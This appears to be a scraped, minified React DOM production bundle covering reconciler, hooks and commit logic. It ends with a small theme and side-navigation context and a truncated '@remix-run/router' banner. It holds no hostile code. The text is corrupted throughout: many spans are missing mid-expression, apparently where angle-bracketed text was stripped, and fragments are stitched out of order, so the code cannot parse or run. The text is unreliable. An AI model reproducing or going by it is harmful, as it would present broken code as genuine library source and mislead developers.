Yc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function qh(s){var a=Kr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Fr(n.ownerDocument.documentElement,n)){if(l!==null&&Yc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Nt(n,e);var c=Nt(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Da=null,Ne=null,Fn=null,He=!1;function Ht(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;He||Da==null||Da!==Dl(l)||(l=Da,"selectionStart"in l&&Yc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Fn&&_n(Fn,l)||(Fn=l,l=Pl(Ne,"onSelect"),0Qa||(s.current=Je[Qa],Je[Qa]=null,Qa--)}function K(s,a){Qa++,Je[Qa]=s.current,s.current=a}var Aa={},os=ma(Aa),js=ma(!1),Xa=Aa;function cn(s,a){var n=s.type.contextTypes;if(!n)return Aa;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function us(s){return s=s.childContextTypes,s!=null}function ql(){M(js),M(os)}function zt(s,a,n){if(os.current!==Aa)throw Error(w(168));K(os,a),K(js,n)}function Ur(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,_g(s)||"Unknown",p));return D({},n,l)}function sp(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||Aa,Xa=os.current,K(os,s),K(js,js.current),!0}function Et(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Ur(s,a,Xa),l.__reactInternalMemoizedMergedChildContext=s,M(js),M(os),K(os,s)):M(js),K(js,n)}var Ts=null,wp=!1,ne=!1;function Qr(s){Ts===null?Ts=[s]:Ts.push(s)}function gI(s){wp=!0,Qr(s)}function ba(){if(!ne&&Ts!==null){ne=!0;var s=0,a=F;try{var n=Ts;for(F=1;s>=c,p-=c,Us=1<<32-Fs(a)+p|n<Y?(x=G,G=null):x=G.sibling;var N=j(h,G,C[Y],y);if(N===null){G===null&&(G=x);break}s&&G&&N.alternate===null&&a(h,G),g=e(N,g,Y),k===null?W=N:k.sibling=N,k=N,G=x}if(Y===C.length)return n(h,G),J&&Za(h,Y),W;if(G===null){for(;YY?(x=G,G=null):x=G.sibling;var Rs=j(h,G,N.value,y);if(Rs===null){G===null&&(G=x);break}s&&G&&Rs.alternate===null&&a(h,G),g=e(Rs,g,Y),k===null?W=Rs:k.sibling=Rs,k=Rs,G=x}if(N.done)return n(h,G),J&&Za(h,Y),W;if(G===null){for(;!N.done;Y++,N=C.next())N=d(h,N.value,y),N!==null&&(g=e(N,g,Y),k===null?W=N:k.sibling=N,k=N);return J&&Za(h,Y),W}for(G=l(h,G);!N.done;Y++,N=C.next())N=A(G,h,Y,N.value,y),N!==null&&(s&&N.alternate!==null&&G.delete(N.key===null?Y:N.key),g=e(N,g,Y),k===null?W=N:k.sibling=N,k=N);return s&&G.forEach(function(An){return a(h,An)}),J&&Za(h,Y),W}function Z(h,g,C,y){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var W=C.key,k=g;k!==null;){if(k.key===W){if(W=C.type,W===za){if(k.tag===7){n(h,k.sibling),g=p(k,C.props.children),g.return=h,h=g;break s}}else if(k.elementType===W||typeof W=="object"&&W!==null&&W.$$typeof===na&&Ot(W)===k.type){n(h,k.sibling),g=p(k,C.props),g.ref=Wn(h,k,C),g.return=h,h=g;break s}n(h,k);break}else a(h,k);k=k.sibling}C.type===za?(g=Ya(C.props.children,h.mode,y,C.key),g.return=h,h=g):(y=El(C.type,C.key,C.props,null,h.mode,y),y.ref=Wn(h,g,C),y.return=h,h=y)}return c(h);case Ja:s:{for(k=C.key;g!==null;){if(g.key===k)if(g.tag===4&&g.stateNode.containerInfo===C.containerInfo&&g.stateNode.implementation===C.implementation){n(h,g.sibling),g=p(g,C.children||[]),g.return=h,h=g;break s}else{n(h,g);break}else a(h,g);g=g.sibling}g=ie(C,h.mode,y),g.return=h,h=g}return c(h);case na:return k=C._init,Z(h,g,k(C._payload),y)}if(fn(C))return m(h,g,C,y);if(mn(C))return b(h,g,C,y);Bl(h,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,g!==null&&g.tag===6?(n(h,g.sibling),g=p(g,C),g.return=h,h=g):(n(h,g),g=re(C,h.mode,y),g.return=h,h=g),c(h)):n(h,g)}return Z}var on=ai(!0),ni=ai(!1),il={},Es=ma(il),$n=ma(il),qn=ma(il);function Va(s){if(s===il)throw Error(w(174));return s}function Mc(s,a){switch(K(qn,a),K($n,s),K(Es,il),s=a.nodeType,s){case 9:case 11:a=(a=a.documentElement)?a.namespaceURI:Ze(null,"");break;default:s=s===8?a.parentNode:a,a=s.namespaceURI||null,s=s.tagName,a=Ze(a,s)}M(Es),K(Es,a)}function rn(){M(Es),M($n),M(qn)}function li(s){Va(qn.current);var a=Va(Es.current),n=Ze(a,s.type);a!==n&&(K($n,s),K(Es,n))}function xc(s){$n.current===s&&(M(Es),M($n))}var z=ma(0);function cp(s){for(var a=s;a!==null;){if(a.tag===13){var n=a.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return a}else if(a.tag===19&&a.memoizedProps.revealOrder!==void 0){if(a.flags&128)return a}else if(a.child!==null){a.child.return=a,a=a.child;continue}if(a===s)break;for(;a.sibling===null;){if(a.return===null||a.return===s)return null;a=a.return}a.sibling.return=a.return,a=a.sibling}return null}var le=[];function Jc(){for(var s=0;sn?n:4,s(!0);var l=pe.transition;pe.transition={};try{s(!1),a()}finally{F=n,pe.transition=l}}function yi(){return Ys().memoizedState}function CI(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},mi(s))bi(a,n);else if(n=Pr(s,a,n,l),n!==null){var p=is();Ks(n,s,l,p),wi(n,a,l)}}function jI(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(mi(s))bi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ss(t,c)){var o=a.interleaved;o===null?(p.next=p,Kc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=Pr(s,a,p,l),n!==null&&(p=is(),Ks(n,s,l,p),wi(n,a,l))}}function mi(s){var a=s.alternate;return s===E||a!==null&&a===E}function bi(s,a){Kn=tp=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function wi(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,kc(s,n)}}var op={readContext:fs,useCallback:es,useContext:es,useEffect:es,useImperativeHandle:es,useInsertionEffect:es,useLayoutEffect:es,useMemo:es,useReducer:es,useRef:es,useState:es,useDebugValue:es,useDeferredValue:es,useTransition:es,useMutableSource:es,useSyncExternalStore:es,useId:es,unstable_isNewReconciler:!1},uI={readContext:fs,useCallback:function(s,a){return xs().memoizedState=[s,a===void 0?null:a],s},useContext:fs,useEffect:$t,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,Ml(4194308,4,di.bind(null,a,s),n)},useLayoutEffect:function(s,a){return Ml(4194308,4,s,a)},useInsertionEffect:function(s,a){return Ml(4,2,s,a)},useMemo:function(s,a){var n=xs();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=xs();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=CI.bind(null,E,s),[l.memoizedState,s]},useRef:function(s){var a=xs();return s={current:s},a.memoizedState=s},useState:Pt,useDebugValue:Uc,useDeferredValue:function(s){return xs().memoizedState=s},useTransition:function(){var s=Pt(!1),a=s[0];return s=dI.bind(null,s[1]),xs().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=E,p=xs();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Na&30||ci(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,$t(oi.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,ti.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=xs(),a=ss.identifierPrefix;if(J){var n=Qs,l=Us;n=(l&~(1<<32-Fs(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0<\/script>",s=s.removeChild(s.firstChild)):typeof l.is=="string"?s=c.createElement(n,{is:l.is}):(s=c.createElement(n),n==="select"&&(c=s,l.multiple?c.multiple=!0:l.size&&(c.size=l.size))):s=c.createElementNS(s,n),s[Js]=a,s[Pn]=l,Xi(s,a,!1,!1),a.stateNode=s;s:{switch(c=Ge(n,l),n){case"dialog":S("cancel",s),S("close",s),p=l;break;case"iframe":case"object":case"embed":S("load",s),p=l;break;case"video":case"audio":for(p=0;phn&&(a.flags|=128,l=!0,Gn(e,!1),a.lanes=4194304)}else{if(!l)if(s=cp(c),s!==null){if(a.flags|=128,l=!0,n=s.updateQueue,n!==null&&(a.updateQueue=n,a.flags|=4),Gn(e,!0),e.tail===null&&e.tailMode==="hidden"&&!c.alternate&&!J)return cs(a),null}else 2*D()-e.renderingStartTime>hn&&n!==1073741824&&(a.flags|=128,l=!0,Gn(e,!1),a.lanes=4194304);e.isBackwards?(c.sibling=a.child,a.child=c):(n=e.last,n!==null?n.sibling=c:a.child=c,e.last=c)}return e.tail!==null?(a=e.tail,e.rendering=a,e.tail=a.sibling,e.renderingStartTime=D(),a.sibling=null,n=z.current,K(z,l?n&1|2:n&1),a):(cs(a),null);case 22:case 23:return $c(),l=a.memoizedState!==null,s!==null&&s.memoizedState!==null!==l&&(a.flags|=8192),l&&a.mode&1?As&1073741824&&(cs(a),a.subtreeFlags&6&&(a.flags|=8192)):cs(a),null;case 24:return null;case 25:return null}throw Error(w(156,a.tag))}function Wd(s,a){switch(Xc(a),a.tag){case 1:return us(a.type)&&ql(),s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 3:return rn(),M(js),M(os),Jc(),s=a.flags,s&65536&&!(s&128)?(a.flags=s&-65537|128,a):null;case 5:return xc(a),null;case 13:if(M(z),s=a.memoizedState,s!==null&&s.dehydrated!==null){if(a.alternate===null)throw Error(w(340));tn()}return s=a.flags,s&65536?(a.flags=s&-65537|128,a):null;case 19:return M(z),null;case 4:return rn(),null;case 10:return Fc(a.type._context),null;case 22:case 23:return $c(),null;case 24:return null;default:return null}}var Vl=!1,ts=!1,Gd=typeof WeakSet=="function"?WeakSet:Set,V=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){T(s,a,l)}else n.current=null}function qe(s,a,n){try{n()}catch(l){T(s,a,l)}}var oo=!1;function Bd(s,a){if(Fe=_l,s=Sr(),Yc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,i=0,d=0,I=s,j=null;a:for(;;){for(var y;I!==n||p!==0&&I.nodeType!==3||(t=c+p),I!==e||l!==0&&I.nodeType!==3||(o=c+l),I.nodeType===3&&(c+=I.nodeValue.length),(y=I.firstChild)!==null;)j=I,I=y;for(;;){if(I===s)break a;if(j===n&&++i===p&&(t=c),j===e&&++d===l&&(o=c),(y=I.nextSibling)!==null)break;I=j,j=I.parentNode}I=y}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Ke={focusedElem:s,selectionRange:n},_l=!1,V=a;V!==null;)if(a=V,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,V=s;else for(;V!==null;){a=V;try{var m=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(m!==null){var b=m.memoizedProps,G=m.memoizedState,h=a.stateNode,g=h.getSnapshotBeforeUpdate(a.elementType===a.type?b:vs(a.type,b),G);h.__reactInternalSnapshotBeforeUpdate=g}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(A){T(a,a.return,A)}if(s=a.sibling,s!==null){s.return=a.return,V=s;break}V=a.return}return m=oo,oo=!1,m}function Sn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&qe(a,n,e)}p=p.next}while(p!==l)}}function Wp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function sc(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Hi(s){var a=s.alternate;a!==null&&(s.alternate=null,Hi(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[xe],delete a[rd],delete a[id])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Fi(s){return s.tag===5||s.tag===3||s.tag===4}function ro(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Fi(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function ac(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=$l));else if(l!==4&&(s=s.child,s!==null))for(ac(s,a,n),s=s.sibling;s!==null;)ac(s,a,n),s=s.sibling}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}var ns=null,Ns=!1;function sa(s,a,n){for(n=n.child;n!==null;)Ki(s,a,n),n=n.sibling}function Ki(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(up,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=ns,p=Ns;ns=null,sa(s,a,n),ns=l,Ns=p,ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):ns.removeChild(n.stateNode));break;case 18:ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?ae(s.parentNode,n):s.nodeType===1&&ae(s,n),Qn(s)):ae(ns,n.stateNode));break;case 4:l=ns,p=Ns,ns=n.stateNode.containerInfo,Ns=!0,sa(s,a,n),ns=l,Ns=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&qe(n,a,c),p=p.next}while(p!==l)}sa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){T(n,a,t)}sa(s,a,n);break;case 21:sa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,sa(s,a,n),ts=l):sa(s,a,n);break;default:sa(s,a,n)}}function io(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new Gd),a.forEach(function(l){var p=Fd.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function Xs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=D()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*fd(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,gp=0,H&6)throw Error(w(331));var p=H;for(H|=4,V=s.current;V!==null;){var e=V,c=e.child;if(V.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oD()-Oc?fa(s,0):_c|=n),ys(s,a)}function Ti(s,a){a===0&&(s.mode&1?(a=Al,Al<<=1,!(Al&130023424)&&(Al=4194304)):a=1);var n=is();s=Ps(s,a),s!==null&&(tl(s,a,n),ys(s,n))}function Hd(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Ti(s,n)}function Fd(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Ti(s,n)}var Qi;Qi=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||js.current)Cs=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return Cs=!1,kd(s,a,n);Cs=!!(s.flags&131072)}else Cs=!1,J&&a.flags&1048576&&_r(a,np,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;xl(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Ec(null,a,l,s,p,n);var e=Uc();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,us(l)?(e=!0,sp(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,Sc(a),p.updater=kp,a.stateNode=p,p._reactInternals=a,Qe(a,l,s,n),a=_e(null,a,l,!0,e,n)):(a.tag=0,J&&e&&Rc(a),rs(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(xl(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=Sd(l),s=vs(l,s),p){case 0:a=Le(null,a,l,s,n);break s;case 1:a=eo(null,a,l,s,n);break s;case 11:a=lo(null,a,l,s,n);break s;case 14:a=po(null,a,l,vs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),Le(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),eo(s,a,l,p,n);case 3:s:{if(fi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,qr(s,a),ep(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=gn(Error(w(423)),a),a=co(s,a,l,n,p);break s}else if(l!==p){p=gn(Error(w(424)),a),a=co(s,a,l,n,p);break s}else for(ms=ha(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Hs=null,n=li(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=$s(s,a,n);break s}rs(s,a,l,n)}a=a.child}return a;case 5:return pi(a),s===null&&Ee(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,Se(l,p)?c=null:e!==null&&Se(l,e)&&(a.flags|=32),Vi(s,a),rs(s,a,c,n),a.child;case 6:return s===null&&Ee(a),null;case 13:return Yi(s,a,n);case 4:return Mc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):rs(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),lo(s,a,l,p,n);case 7:return rs(s,a,a.pendingProps,n),a.child;case 8:return rs(s,a,a.pendingProps.children,n),a.child;case 12:return rs(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,K(lp,l._currentValue),l._currentValue=c,e!==null)if(Ss(e.value,c)){if(e.children===p.children&&!js.current){a=$s(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=Ls(-1,n&-n),o.tag=2;var i=e.updateQueue;if(i!==null){i=i.shared;var d=i.pending;d===null?o.next=o:(o.next=d.next,d.next=o),i.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Ue(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Ue(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}rs(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=fs(p),l=l(p),a.flags|=1,rs(s,a,l,n),a.child;case 14:return l=a.type,p=vs(l,a.pendingProps),p=vs(l.type,p),po(s,a,l,p,n);case 15:return Gi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),xl(s,a),a.tag=1,us(l)?(s=!0,sp(a)):s=!1,ln(a,n),ai(a,l,p),Qe(a,l,p,n),_e(null,a,l,!0,s,n);case 19:return Ri(s,a,n);case 22:return Bi(s,a,n)}throw Error(w(156,a.tag))};function Di(s,a){return Ar(s,a)}function Kd(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Bs(s,a,n,l){return new Kd(s,a,n,l)}function st(s){return s=s.prototype,!(!s||!s.isReactComponent)}function Sd(s){if(typeof s=="function")return st(s)?1:0;if(s!=null){if(s=s.$$typeof,s===Ac)return 11;if(s===mc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Bs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function El(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")st(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return Ya(n.children,p,e,a);case yc:c=8,p|=8;break;case je:return s=Bs(12,n,a,p|2),s.elementType=je,s.lanes=e,s;case ue:return s=Bs(13,n,a,p),s.elementType=ue,s.lanes=e,s;case ye:return s=Bs(19,n,a,p),s.elementType=ye,s.lanes=e,s;case nr:return Bp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case sr:c=10;break s;case ar:c=9;break s;case Ac:c=11;break s;case mc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Bs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function Ya(s,a,n,l){return s=Bs(7,s,l,a),s.lanes=n,s}function Bp(s,a,n,l){return s=Bs(22,s,l,a),s.elementType=nr,s.lanes=n,s.stateNode={isHidden:!1},s}function re(s,a,n){return s=Bs(6,s,null,a),s.lanes=n,s}function ie(s,a,n){return a=Bs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function Md(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Up(0),this.expirationTimes=Up(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Up(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function at(s,a,n,l,p,e,c,t,o){return s=new Md(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Bs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Sc(e),s}function xd(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Pi)}catch(s){console.error(s)}}Pi(),_o.exports=ks;var Td=_o.exports,$i,qi,Ao=Td;qi=Ao.createRoot,$i=Ao.hydrateRoot;const sg={theme:"light",sideNav:!0,initialized:!1},ag=W.createContext({state:sg,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function et(){return W.useContext(ag)}function mo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const bo=({children:s})=>{const[a,n]=W.useState(sg);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let i=t.width>=500;{const d=localStorage.getItem("sideNav");d&&(i=d=="true")}l(o),n(d=>({...d,theme:o,sideNav:i}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),mo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),mo("sideNav",t)}return r.jsx(ag.Provider,{value:W.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** - * @remix-run/router v1.14.1 +`+e.stack}return{value:s,source:a,stack:p,digest:null}}function te(s,a,n){return{value:s,source:null,stack:n??null,digest:a??null}}function Qe(s,a){try{console.error(a.value)}catch(n){setTimeout(function(){throw n})}}var mI=typeof WeakMap=="function"?WeakMap:Map;function ki(s,a,n){n=_s(-1,n),n.tag=3,n.payload={element:null};var l=a.value;return n.callback=function(){ip||(ip=!0,lc=l),Qe(s,a)},n}function Zi(s,a,n){n=_s(-1,n),n.tag=3;var l=s.type.getDerivedStateFromError;if(typeof l=="function"){var p=a.value;n.payload=function(){return l(p)},n.callback=function(){Qe(s,a)}}var e=s.stateNode;return e!==null&&typeof e.componentDidCatch=="function"&&(n.callback=function(){Qe(s,a),typeof l!="function"&&(da===null?da=new Set([this]):da.add(this));var c=a.stack;this.componentDidCatch(a.value,{componentStack:c!==null?c:""})}),n}function qt(s,a,n){var l=s.pingCache;if(l===null){l=s.pingCache=new mI;var p=new Set;l.set(a,p)}else p=l.get(a),p===void 0&&(p=new Set,l.set(a,p));p.has(n)||(p.add(n),s=NI.bind(null,s,a,n),a.then(s,s))}function so(s){do{var a;if((a=s.tag===13)&&(a=s.memoizedState,a=a!==null?a.dehydrated!==null:!0),a)return s;s=s.return}while(s!==null);return null}function ao(s,a,n,l,p){return 